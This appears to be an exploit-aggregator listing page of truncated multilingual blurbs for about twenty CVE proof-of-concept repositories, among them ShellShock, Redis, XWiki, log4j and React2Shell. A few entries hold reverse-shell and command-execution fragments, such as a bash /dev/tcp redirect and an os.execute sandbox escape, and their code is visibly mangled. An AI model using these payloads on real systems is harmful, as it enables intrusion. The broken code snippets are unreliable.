BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC-Werkzeug ======= BadBash ist ein CVE-2014-6271 RCE Exploit-Werkzeug. Die Basisversion überprüft nur die HTTP CGI-Seite und bietet nur eine netcat Reverse-Shell auf Port 1234. Entwickler : Andy Yang Version : 0.1.0 Lizenz : GPLv3 Original GitHub-Projekt :...

CVE-2025-5548

🛡️ CVE-2025-5548 – Exploit di Buffer Overflow del Server FTP FreeFloat 📌 Panoramica Questo repository documenta la scoperta e lo sfruttamento di una vulnerabilità di buffer overflow basato sullo stack nell'applicazione FreeFloat FTP Server. La vulnerabilità risiede nella gestione del comando USER,...

CVE-2026-22003-Redis-Lua-Sandbox-Escape-via-debug.sethook-

CVE-2026-22003 – Redis-Lua-Sandbox-Escape über debug.sethook Programmcode Lua + Python-Trigger root@kitploit: -- redissandbox.lua - Script that attempts sandbox escape local function escape debug.sethookfunction -- This hook runs in a privileged context os.execute"id /tmp/redisescape" end, "r"...

React2Shell-CVE-Lab

⚛️ React2Shell: CVE-2025-55182 Laboratorio Vulnerabile ⚠️ ATTENZIONE: APPLICAZIONE INTENZIONALMENTE VULNERABILE Questo repository contiene un'applicazione containerizzata configurata specificamente per essere vulnerabile a CVE-2025-55182 React2Shell. NON distribuire questo container in un ambiente...

redis-poc

RCE autenticato su Redis double free dello stream NACK, bug dei moduli TDigest & TopK Exploit RCE non distruttivi per Redis 6.2.22, 7.4.9, 8.6.4 tramite il double free shared-NACK del gruppo di consumatori dello stream un bypass della patch di CVE-2026-25243, per 8.8.0 tramite un heap overflow di...

Vulnerable-Lab-Exploitation

Vulnerable-Lab-Exploitation Un progetto pratico che dimostra la configurazione di un laboratorio di sicurezza virtuale, la ricognizione di rete e lo sfruttamento di CVE-2012-1823. Configurazione del Laboratorio Vulnerabile e Sfruttamento di PHP CGI CVE-2012-1823 🎯 Panoramica del Progetto Questo...

CVE-2025-24893_Analysis

CVE-2025-24893 - XWiki SolrSearch SSTI zu nicht authentifizierter RCE Ein in sich geschlossenes Docker-Labor, das CVE-2025-24893 reproduziert, eine Server-Side-Template- Injection im SolrSearch-RSS-Feed von XWiki, die zu nicht authentifizierter Remote-Codeausführung führt. Es führt die verwundbar...

react2shell-audit

React2Shell Audit CVE-2025-55182 React2Shell Audit è uno script Bash leggero e ricorsivo progettato per rilevare installazioni locali di Next.js e React Server DOM vulnerabili a CVE-2025-55182 React2Shell e CVE-2025-66478. 🚨 La Vulnerabilità React2Shell è una vulnerabilità critica di esecuzione...

CVE-2020-14882

Script di test per WebLogic CVE-2020-14882 / CVE-2020-14883 Questo progetto fornisce un semplice script Bash per testare se un server Oracle WebLogic è vulnerabile al bypass dell'autenticazione CVE-2020-14882 e al relativo vettore di esecuzione di codice remoto CVE-2020-14883. Lo script invia una...

log4j-rce-test

Compilazione ./build.sh Avvia il server log4j RCE ./start-log4j-rce-server.sh Test Esegui java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Controlla se ottieni log in hack.log dalla cartella corrente Puoi modificare questa riga String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + "...

RCE-Simplephpblog-biggiedroid

CVE-2025-15495 - Caricamento Arbitrario di File Che Porta all'Esecuzione Remota di Codice RCE Prodotto BiggiDroid – Simple PHP Blog CMS Pagina del prodotto: https://biggidroid.com/product/simple-php-blog/ Tipo di Vulnerabilità Caricamento Arbitrario di File Caricamento di File senza Restrizioni...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2019-11580

CVE-2019-11580 Atlassian Crowd und Crowd Data Center RCE Verwendung: python CVE-2019-11580.py http://xx.xx.xx.xx/ Crowd-2.11.0 VulnVersion Download https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz Powered by Atlassian Crowd Version: 2.11.0 Build:725 -...

CVE-2025-66956

CVE-2025-66956 Eine unsichere Zugriffskontrolle in den Komponenten Contact Plan, E-Mail, SMS und Fax in Asseco SEE Live 2.0 ermöglicht Remote-Angreifern, über eine berechenbare URL auf Anhänge zuzugreifen und diese auszuführen. CVSS-Vektoren CVSS 3.1: 9.8,...

CVE-2024-12828-PoC

CVE-2024-12828-PoC Sicherheitslücke zur Remote-Codeausführung durch CGI-Befehlsinjektion in Webmin...

gosign-desktop-exploit-poc

Multiple Vulnerabilities in GoSign Desktop leads to Remote Code Execution Name: TLS Verification Bypass and Insecure Update in GoSign Desktop CVEs: CVE-2025-34324, CVE-2025-34327 System Affected: GoSign Desktop = 2.4.0 Fix: FoSign Desktop 2.4.1 partially fixed Vendor: Tinexta InfoCert S.p.A...

xwiki-cve-2025-24893-exploit

Exploit per XWiki CVE-2025-24893 Exploit di Esecuzione Remota di Codice non autenticato per le versioni di XWiki vulnerabili a CVE-2025-24893. Panoramica della Vulnerabilità Le versioni di XWiki precedenti alla 15.10.9 sono vulnerabili a RCE non autenticata tramite l'iniezione di script Groovy ne...

krle

REACT2SHELL CVE-2025-55182 React2Shell CVE-2025-55182 è una catena di vulnerabilità critica di esecuzione remota di codice RCE che colpisce le applicazioni Next.js che utilizzano Server Actions. La vulnerabilità sfrutta una vulnerabilità di prototype pollution in combinazione con Server Actions p...

CVE-2025-26686-poc-A-critical-RCE-vulnerability-in-Windows-TCP-IP-stack

Questa PoC è stata validata in un ambiente controllato e isolato air-gapped. I dettagli sensibili dello sfruttamento sono stati rimossi tagliati — contatta il manutentore per l'accesso se hai un'autorizzazione scritta...

CVE-2025-53694-to-CVE-2025-53691

Sitecore CVE-Ketten-Exploits Dieses Repository enthält Proof-of-Concept-Exploits für eine kritische Schwachstellenkette in Sitecore Experience Platform XP-Versionen bis 10.4.1. Schwachstellen CVE-2025-53694: Offenlegung von Informationen CVE-2025-53693: Cache-Vergiftung CVE-2025-53691:...